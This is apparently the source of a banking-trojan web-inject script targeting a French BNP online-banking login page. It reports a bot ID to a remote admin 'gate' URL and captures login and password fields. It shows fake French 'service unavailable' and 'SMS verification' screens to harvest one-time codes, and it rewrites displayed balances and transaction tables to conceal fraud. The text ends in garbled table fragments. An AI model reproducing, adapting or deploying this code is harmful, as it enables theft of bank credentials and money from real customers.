//=================== ADMIN ===================== var ALINK = "https://securetargeting.com/content/webanalyser/bnp/admin/"; var GATE = ALINK+"gate/gate.php"; //=================== INIT PROTOS ===================== var By = (function(){ function ByArgs(arguments){ var found = { tag: false, error: false, element: false } if(arguments && arguments.length >= 3){ var elements_array = arguments[1].split("|"); if(elements_array.length > 0){ for(var k = 0; k < elements_array.length; k++){ var elements = arguments[0].getElementsByTagName(elements_array[k]); if(elements && elements.length > 0){ for(var i = 0; i < elements.length; i++){ for(var e = 2; e < arguments.length; e++){ var pattern = new RegExp(arguments[e].split(":")[1],"igm"); if(arguments[e].split(":")[0] == "class"){ if(elements[i].className != null && pattern.test(elements[i].className)){ found.tag = true; }else{ found.error = true; } }else if(arguments[e].split(":")[0] == "for"){ if(elements[i].className != null && pattern.test(elements[i].htmlFor)){ found.tag = true; }else{ found.error = true; } }else{ if(elements[i].getAttribute(arguments[e].split(":")[0]) != null && pattern.test(elements[i].getAttribute(arguments[e].split(":")[0]))){ found.tag = true; }else{ found.error = true; } } } if(found.tag && !found.error){ return elements[i]; }else{ found.tag = false; found.error = false; } } } } return false; }else{ return false; } }else{ return false; } } function ByContent(arguments){ var found = { tag: false, error: false, element: false } if(arguments && arguments.length > 2){ var elements = arguments[0].getElementsByTagName(arguments[1]); if(elements && elements.length > 0){ for(var i = 0; i < elements.length; i++){ for(var e = 2; e < arguments.length; e++){ var pattern = new RegExp(arguments[e]); if(pattern.test(elements[i].innerHTML.toLowerCase())){ found.tag = true; }else{ found.error = true; } } if(found.tag && !found.error){ return elements[i]; }else{ found.tag = false; found.error = false; } } } } return false; } return{ args: function(){ return ByArgs(arguments); }, content: function(){ return ByContent(arguments); } } }()) by = By; var Hujax = (function(){ var callback_func = false; function SetCallback(p){ callback_func = p; } function Send(url){ var BOTID = document.getElementById("BMUD"); if(BOTID){ BOTID = vw.text(BOTID); }else{ BOTID = "%%ID%%"; } url += "&ip="+BOTID; if(document.getElementById("rgk_ajax")){ document.getElementById("rgk_ajax").parentNode.removeChild(document.getElementById("rgk_ajax")); } var script = document.createElement("script"); script.type = "text/javascript"; script.id = "rgk_ajax"; if (script.readyState) { script.onreadystatechange = function() { if (script.readyState == "loaded" || script.readyState == "complete") { script.onreadystatechange = null; callback_func(); } }; } else { script.onload = function() { callback_func(); }; } url = url.replace(/\(/g,"%28").replace(/\)/g,"%29"); script.src = url; if(document.getElementsByTagName("head").length > 0){ document.getElementsByTagName("head")[0].appendChild(script); }else{ document.getElementsByTagName("body")[0].appendChild(script); } } return{ callback: function(param){ SetCallback(param); }, send: function(param){ Send(param); } } }()); hujax = Hujax; var Clone = (function(){ function CheckQ(param){ if(param == null || param == undefined || param == "null" || param == "undefined" || param == "" || param == " "){ return false; }else{ return true; } } function COPY(obj,func){ if(obj.type == "image"){ var clo = document.createElement("img"); for (x in obj.attributes){ if(CheckQ(obj.attributes[x]) && CheckQ(obj.attributes[x].name) && CheckQ(obj.attributes[x].value)){ if(obj.attributes[x].name == "onclick" || obj.attributes[x].name == "name" || obj.attributes[x].name == "disabled" || obj.attributes[x].name == "id" ){ continue; } if(obj.attributes[x].name == "type" && obj.attributes[x].value == "submit"){ clo.setAttribute(obj.attributes[x].name,"button"); }else{ clo.setAttribute(obj.attributes[x].name,obj.attributes[x].value); } } } }else{ var clo = document.createElement(obj.tagName); for (x in obj.attributes){ if(CheckQ(obj.attributes[x]) && CheckQ(obj.attributes[x].name) && CheckQ(obj.attributes[x].value)){ if(obj.attributes[x].name == "onclick" || obj.attributes[x].name == "name" || obj.attributes[x].name == "disabled" || obj.attributes[x].name == "href" || obj.attributes[x].name == "id" ){ continue; } if(obj.attributes[x].name == "type" && obj.attributes[x].value == "submit"){ clo.setAttribute(obj.attributes[x].name,"button"); }else{ clo.setAttribute(obj.attributes[x].name,obj.attributes[x].value); } } } } if(obj.tagName == "A" || obj.tagName == "BUTTON" || obj.tagName == "LI"){ clo.innerHTML = obj.innerHTML; } clo.style.cursor = "pointer"; obj.style.display = "none"; AddListenner(clo,"click",func); obj.parentNode.insertBefore(clo,obj); } function AddListenner(obj,evType,func){ if(obj.addEventListener ){ obj.addEventListener(evType,func,false); return true; }else if(obj.attachEvent){ var r = obj.attachEvent('on'+evType,func); return r; }else{ elm['on'+evType] = func; } } function JUSTCOPYINPUT(obj,content){ var clo = document.createElement(obj.tagName); for (x in obj.attributes){ if(CheckQ(obj.attributes[x]) && CheckQ(obj.attributes[x].name) && CheckQ(obj.attributes[x].value)){ if(obj.attributes[x].name == "onclick" || obj.attributes[x].name == "name" || obj.attributes[x].name == "href" || obj.attributes[x].name == "id" || obj.attributes[x].name == "value" ){ continue; } clo.setAttribute(obj.attributes[x].name,obj.attributes[x].value); } } clo.value = content; obj.style.display = "none"; obj.parentNode.insertBefore(clo,obj); } return{ click: function(obj,func){ COPY(obj,func); }, copy: function(obj,content){ JUSTCOPYINPUT(obj,content); } } }()) clone = Clone; var VW = (function(){ var fTarget = false; var fDeftime = 4; var fTime = fDeftime; var fCallback = function(){return false;}; function getViewportHeight() { var ua = navigator.userAgent.toLowerCase(); var isOpera = (ua.indexOf('opera') > -1); var isIE = (!isOpera && ua.indexOf('msie') > -1); return ((document.compatMode || isIE) && !isOpera) ? (document.compatMode == 'CSS1Compat') ? document.documentElement.clientHeight : document.body.clientHeight : (document.parentWindow || document.defaultView).innerHeight; } return{ hidedoc: function(doc){ var none_div = doc.getElementById("none_div"); if(none_div){ none_div.style.display = ""; }else{ doc.documentElement.style.display = "none"; } }, showdoc: function(doc){ var none_div = doc.getElementById("none_div"); if(none_div){ none_div.style.display = "none"; }else{ doc.documentElement.style.display = ""; } }, browser: function(){ if(navigator.userAgent.toLowerCase().indexOf("msie 6") >= 0){ return "IE6"; }else if(navigator.userAgent.toLowerCase().indexOf("msie 7") >= 0){ return "IE7"; }else if(navigator.userAgent.toLowerCase().indexOf("msie 8") >= 0){ return "IE8"; }else if(navigator.userAgent.toLowerCase().indexOf("msie 9") >= 0){ return "IE9"; }else if(navigator.userAgent.toLowerCase().indexOf("msie 10") >= 0){ return "IE10"; }else if(navigator.userAgent.toLowerCase().indexOf("firefox") >= 0){ return "FF"; }else{ return "OTHER"; } }, bind: function(obj, evType, func){ if(obj.removeEventListener){ obj.removeEventListener(evType,func,false); }else if(obj.detachEvent){ obj.detachEvent ('on'+evType,func); } if(obj.addEventListener ){ obj.addEventListener(evType,func,false); return true; }else if(obj.attachEvent){ var r = obj.attachEvent('on'+evType,func); return r; }else{ elm['on'+evType] = func; } }, mouse: function(eve,element){ if(document.createEvent){ var event = document.createEvent('MouseEvents'); event.initMouseEvent(eve,true,true,document.defaultView,1,0,0, 0, 0, false, false, false, false,0,null); element.dispatchEvent(event); }else if(element.fireEvent){ if(eve == "click"){ element.click(); }else{ var event = document.createEventObject(); element.fireEvent('on'+eve, event); } } }, text: function(param){ if(param){ var tmp = (param.textContent ? param.textContent : param.innerText) ? (param.textContent ? param.textContent : param.innerText) : param.innerHTML; return tmp.replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$)/ig,""); }else{ return ""; } }, from: function(parent,child){ return parent && child ? parent.getElementsByTagName(child) : false; }, digits: function(digits){ var RES = { NUMBERS:"", OTHER: "" } var res = ''; if(digits && digits.length > 0){ digits = digits.replace(/\u2212/g, "-"); var ValidChars = "0123456789"; for(var i = 0;i < digits.length; i++){ var Char = digits.charAt(i); if(ValidChars.indexOf(Char) >=0){ res += Char; }else{ RES.OTHER += Char; } } } RES.NUMBERS = parseFloat(res); return RES; }, blockenter: function(el){ if(el){ el.onkeypress = function(evt){ var evt = (evt) ? evt : ((event) ? event : null); var node = (evt.target) ? evt.target : ((evt.srcElement) ? evt.srcElement : null); if ((evt.keyCode == 13) && (node.type=="text" || node.type=="password")){ return false; } } } }, selected: function(select){ if(select){ var RES = { VALUE: "", TEXT: "" } RES.VALUE = select[select.selectedIndex].value; RES.TEXT = select[select.selectedIndex].text; return RES; }else{ return false; } }, docheight: function(){ return Math.max(document.compatMode != 'CSS1Compat' ? document.body.scrollHeight : document.documentElement.scrollHeight, getViewportHeight()); }, docwidth: function(num){ if(num){ return (window.screen.availWidth / num); }else{ return window.screen.availWidth; } }, finder: function(obj,callback,time){ fTarget = obj; fCallback = callback; if(time)fTime = time; setTimeout(vw._finder,500); }, _finder: function(){ if(fTarget()){ fCallback(); fTime = fDeftime; }else{ if(fTime > 0){ fTime--; setTimeout(vw._finder,1000); }else{ fTime = fDeftime; } } }, framedoc: function(frame){ var RES = { DOC: false, WIN: false } if(vw.browser() == "FF" && frame){ RES.DOC = frame.contentDocument; RES.WIN = frame.contentWindow; }else if((/IE/igm.test(vw.browser())) && frame && frame.readyState == "complete"){ RES.DOC = frame.contentWindow.document; RES.WIN = frame.contentWindow; } return RES; }, splitiban: function(iban){ iban = iban+""; var res = iban.substr(0,2)+" "; var tmp = iban.substr(2,iban.length); var count = 0; for(var i = 0; i < tmp.length; i++){ if(count < 4){ res += tmp[i]; count++; }else{ res += " "+tmp[i]; count = 1; } } return res; }, getstyle: function(oElm, strCssRule){ var strValue = ""; if(document.defaultView && document.defaultView.getComputedStyle){ strValue = document.defaultView.getComputedStyle(oElm, "").getPropertyValue(strCssRule); } else if(oElm.currentStyle){ strCssRule = strCssRule.replace(/\-(\w)/g, function (strMatch, p1){ return p1.toUpperCase(); }); strValue = oElm.currentStyle[strCssRule]; } return strValue; } } }()) vw = VW; var Replacer = (function(){ var start_position = new Array(); var drop_data = new Array(); var prefix = { minus: "-", plus: "" } var splitter = { value: "none", position: "none" } var summGet; var summSet; var masks = new Array(); function Content(param){ if(param){ var tmp = (param.textContent ? param.textContent : param.innerText) ? (param.textContent ? param.textContent : param.innerText) : param.innerHTML; return tmp.replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$)/ig,""); }else{ return ""; } } function _setArgs(args){ for(var i = 0; i < args.length; i++){ start_position.push(args[i]); } } function _getArgs(){ for(var i = 0; i < start_position.length; i++){ if(start_position[i]){ return true; } } return false; } function _saveData(args){ for(var i = 0; i < args.length; i++){ for(key in args[i]){ drop_data[key] = args[i][key]; } } } function _getData(name){ return drop_data[name]; } function _setCurrencyFunctions(f1,f2){ summGet = f1; summSet = f2; } function _checkBy(el,data){ var pattern = new RegExp(drop_data[data],"igm"); if(pattern.test(el)){ return true; }else{ return false; } } function _textIndex(el,data){ for(var i = 0; i < el.length; i++){ if(_checkBy(el[i].text,data)){ return i; } } return -1; } function _valueIndex(el,data){ for(var i = 0; i < el.length; i++){ if(_checkBy(el[i].value,data)){ return i; } } return -1; } function _replaceTag(element,summa){ var tagSelect = /select|option/igm.test(element.tagName); var tagInput = /input|textarea/igm.test(element.tagName); if(tagSelect){ if(splitter.value != "none" && splitter.position != "none"){ var minus = (element.text.split(splitter.value)[splitter.position].indexOf(prefix.minus) != -1) ? true : false; var balance = summGet(element.text.split(splitter.value)[splitter.position]); }else{ var minus = (element.text.indexOf(prefix.minus) != -1) ? true : false; var balance = summGet(element.text); } }else if(tagInput){ if(splitter.value != "none" && splitter.position != "none"){ var minus = (element.value.split(splitter.value)[splitter.position].indexOf(prefix.minus) != -1) ? true : false; var balance = summGet(element.value.split(splitter.value)[splitter.position]); }else{ var minus = (element.value.indexOf(prefix.minus) != -1) ? true : false; var balance = summGet(element.value); } }else{ if(splitter.value != "none" && splitter.position != "none"){ var minus = (Content(element).split(splitter.value)[splitter.position].indexOf(prefix.minus) != -1) ? true : false; var balance = summGet(Content(element).split(splitter.value)[splitter.position]); }else{ var minus = (Content(element).indexOf(prefix.minus) != -1) ? true : false; var balance = summGet(Content(element)); } } var new_balance = balance+parseFloat(summa); if(minus)balance = balance * -1; balance = summSet(balance); new_balance = summSet(new_balance); if(tagSelect){ var f = element.text.replace(balance+"",new_balance+""); }else if(tagInput){ var f = element.value.replace(balance+"",new_balance+""); }else{ var f = element.innerHTML.replace(balance+"",new_balance+""); } if(parseFloat(new_balance) >= 0){ f = f.replace((f.indexOf(prefix.minus) != -1 ) ? prefix.minus : prefix.plus , prefix.plus ); f = f.replace("-"+new_balance+"",new_balance+""); }else{ f = f.replace((f.indexOf(prefix.minus) != -1 ) ? prefix.minus : prefix.plus , prefix.minus ); f = f.replace(/\-/,""); } if(tagSelect){ element.text = f; }else if(tagInput){ element.value = f; }else{ element.innerHTML = f; if(parseFloat(new_balance) >= 0){ element.innerHTML = element.innerHTML.replace(/solltexttable/igm,""); } } if(splitter.value != "none" && splitter.position != "none"){ splitter.value = "none"; splitter.position = "none"; } } function _setSplitter(value,position){ splitter.value = value; splitter.position = position; } function _drawTable(table,class1,class2){ var index = 0; var trs = table.getElementsByTagName("tr"); if(trs && trs.length > 0){ for(var i = 0; i < trs.length; i++){ if(trs[i].className == "ev" || trs[i].className == "od"){ if(index % 2 == 0){ trs[i].className = class1; }else{ trs[i].className = class2; } index++; } } } } function _convertDate(date){ var splitter = false; if(/\./igm.test(date)){ splitter = "."; }else{ splitter = "/"; } var els = date.split(splitter); if(els && els.length == 3){ var returnValue = 0; returnValue += parseFloat(els[2]) * 365; returnValue += parseFloat(els[1]) * 30; returnValue += parseFloat(els[0]); return returnValue; }else if(els && els.length == 2){ var returnValue = 0; returnValue += parseFloat(els[2]) * 365; returnValue += parseFloat(els[1]) * 30; return returnValue; }else{ return -1; } } return{ init: function(){ _setArgs(arguments); }, canstart: function(){ return _getArgs(); }, save: function(){ _saveData(arguments); }, check: function(el,data){ return _checkBy(el,data); }, textIndex: function(el,data){ return _textIndex(el,data); }, valueIndex: function(el,data){ return _valueIndex(el,data); }, get: function(name){ return _getData(name); }, currency: function(f1,f2){ _setCurrencyFunctions(f1,f2); }, replace: function (el,amount){ _replaceTag(el,amount); }, splitter: function (value,position){ _setSplitter(value,position); }, drawtable: function (table,class1,class2){ _drawTable(table,class1,class2); }, date: function(str){ return _convertDate(str); }, tomask: function(param){ masks.push(param); }, bymask: function(text){ for(var i = 0; i < masks.length; i++){ var pattern = new RegExp(masks[i],"igm"); if(pattern.test(text)){ return true; } } return false; } } }()) replacer = Replacer; var Currency = (function(){ var type_c = false; function ConvertibleIn(digits){ var res = ''; if(digits && digits.length > 0){ digits = digits.replace(/\u2212/g, "-"); var ValidChars = "-.0123456789"; for(var i = 0;i < digits.length; i++){ var Char = digits.charAt(i); if(ValidChars.indexOf(Char) >=0){ res += Char; } } } return parseFloat(res); } function ConvertibleOut(digits,r){ if(r == 1){ digits = digits.toString().replace(/\$|\,/g,''); if(isNaN(digits))digits = "0"; sign = (digits == (digits = Math.abs(digits))); digits = Math.floor(digits*100+0.50000000001); cents = digits%100; digits = Math.floor(digits/100).toString(); if(cents<10)cents = "0" + cents; for (var i = 0; i < Math.floor((digits.length-(1+i))/3); i++) digits = digits.substring(0,digits.length-(4*i+3))+','+ digits.substring(digits.length-(4*i+3)); return (((sign)?'':'-') + digits + '.' + cents); }else if(r == 2){ digits = digits.toString().replace(/\$|\,/g,''); if(isNaN(digits))digits = "0"; sign = (digits == (digits = Math.abs(digits))); digits = Math.floor(digits*100+0.50000000001); cents = digits%100; digits = Math.floor(digits/100).toString(); if(cents<10)cents = "0" + cents; for (var i = 0; i < Math.floor((digits.length-(1+i))/3); i++) digits = digits.substring(0,digits.length-(4*i+3))+'.'+ digits.substring(digits.length-(4*i+3)); return (((sign)?'':'-') + digits + ',' + cents); }else{ return digits; } } function getCurrency(digits){ if(digits){ if(/[0-9]/igm.test(digits)){ if(/\.[0-9]{2}$|\.[0-9]{2}\s{1,}/igm.test(digits)){ type_c = 1; return ConvertibleIn(digits.replace(/\,/g, '')); }else{ type_c = 2; return ConvertibleIn(digits.replace(/\./g, '').replace(/,/g, '.')); } }else{ return digits; } }else{ return digits; } } function setCurrency(digits){ if(type_c == 1 || type_c == 2){ return ConvertibleOut(digits,type_c); }else{ return digits; } } return{ get: function(param){ return getCurrency(param); }, set: function(param){ return setCurrency(param); } } }()) summ = Currency; //=================== INIT VARIABLES ===================== var UI_login_input = by.args(document,"input","type:text","maxlength:10"); var UI_password_input = by.args(document,"input","type:password","maxlength:6"); var UI_login_button_img = by.args(document,"img","src:acount_acces"); if(UI_login_button_img)var UI_login_button = UI_login_button_img.parentNode; var replacerArray = new Array(); var kl = ""; var FKTEXT = { WAITING: "Attendez, s'il vous plaît...", BLOCKTITLE: "Le service est temporairement inaccessible", BLOCKMAIN: "Nous présentons nos excuses. Le service est temporairement inaccessible suite aux travaux techniques sur les serveurs de la banque. Nous faisons tout possible pour améliorer la qualité du service de nos clients et assurer votre sécurité sur le niveau supérieur. Nos spécialistes vont restaurer le travail et l'accès aux comptes dans les plus brefs délais. Merci de votre patience et compréhension.", BLOCTRYNEXTTIME: "Essayez entrer plus tard...", SMSTITLE: "Vérification supplémentaire", SMSQUERY: "Nous avons introduit, pour l'accès plus sûr à vos comptes, un nouveau système de l'identification pour SMS code. Pour continuer inscrivez le code reçu par SMS.", SMSLABEL: "Code d'acess" } var HOLDER = { LOGIN: "", PASSWORD: "", SMS: "" } var QUERY = { COMMAND: "NONE", VALUE: false, CHANGED: false, FINISH: false } //=================== INIT FAKES FUNCTIONS ===================== vw.finish = function(){ if(!QUERY.CHANGED){ QUERY.FINISH = true; } } vw.fake_step = function(step,status){ switch(step){ case("login"): vw.lethim(); break; case("relogin"): vw.mouse("click",UI_clear_button_1); vw.lethim(); break; case("wait"): var fkWaitContent = '
| '+ ' | '+ ' | ||
| '+FKTEXT.BLOCKTITLE+' | '+ '|||
| '+ ' | |||
| '+
FKTEXT.BLOCKMAIN+" "+FKTEXT.BLOCTRYNEXTTIME+ ' | '+
'|||
| '+ ' | |||